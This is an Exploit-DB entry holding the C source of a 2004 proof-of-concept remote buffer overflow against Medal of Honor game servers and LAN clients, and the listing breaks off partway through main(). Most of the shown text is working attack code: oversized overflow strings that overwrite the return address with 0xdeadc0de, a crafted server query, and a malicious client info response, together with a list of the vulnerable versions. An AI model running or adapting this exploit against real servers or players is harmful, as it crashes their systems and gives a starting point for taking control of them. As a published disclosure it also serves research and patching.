Exploit-DB #357
Description: Medal of Honor - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2004-07-20
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include <io.h>
    #include <malloc.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      4096
#define PORT        12203
#define TIMEOUT     3
#define INFO        "\xff\xff\xff\xff\x02" "getinfo xxx\n"
#define BOFWIN      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaa" "\xde\xc0\xad\xde"  // EIP deadc0de
#define BOFLINUX    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaa" "\xde\xc0\xad\xde"  // EIP deadc0de
#define SVBOF       "\xff\xff\xff\xff\x02" "getinfo %s\n"
#define CLBOF       "\xff\xff\xff\xff" \
                    "\x01" \
                    "infoResponse\n" \
                    "\\pure\\0" \
                    "\\gametypestring\\Free-For-All" \
                    "\\gametype\\1" \
                    "\\sv_maxclients\\16" \
                    "\\clients\\0" \
                    "\\mapname\\DM/mohdm1" \
                    "\\hostname\\myserver" \
                    "\\protocol\\8" \
                    "\\crash\\" BOFWIN \
                    "\\challenge\\xxx"




void showinfostring(u_char *buff, int size);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    int         sd,
                len,
                psz,
                on = 1,
                type;
    u_short     port = PORT;
    u_char      buff[BUFFSZ + 1];
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("\n"
        "Medal of Honor buffer-overflow "VER"\n"
        "  Vulnerables: AA <= 1.11v9, SH <= 2.15, BT <= 2.40b\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <attack> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " c = LAN clients buffer-overflow. It cannot work online because online is\n"
            "     used the Gamespy protocol that is not affected by this bug\n"
            " s = server buffer-overflow: you can test this PoC versus a specific server.\n"
            "     You must add the IP or the hostname of the server after the 's'.\n"
            "     The PoC first tests the overflow for Win32 servers and then for Linux\n"
            "     that requires more data for overwriting the return address\n"
            "\n"
            "Some usage examples:\n"
            "  mohaabof c                      listens on port %d for clients\n"
            "  mohaabof c 1234                 listens on port 1234\n"
            "  mohaabof s 192.168.0.1          tests the server 192.168.0.1 on port %d\n"
            "  mohaabof s 192.168.0.1 1234     tests the server 192.168.0.1 on port 1234\n"
            "\n"
            "The return address of the vulnerable hosts will be ever overwritten by the\n"
            "offset 0xdeadc0de\n"
            "\n", argv[0], PORT, PORT, PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif    

    type = argv[1][0];
    if((type != 'c') && (type != 's')) {
        fputs("\n"
            "Error: Wrong type of attack.\n"
            "       You can choose between 2 types of attacks, versus clients with 'c' or\n"
            "       versus servers with 's'\n"
            "\n", stdout);
        exit(1);
    }
    if(type == 's') {
        if(!argv[2]) {
            fputs("\n"
                "Error: you must specify the server IP or hostname.\n"
                "       Example: mohaabof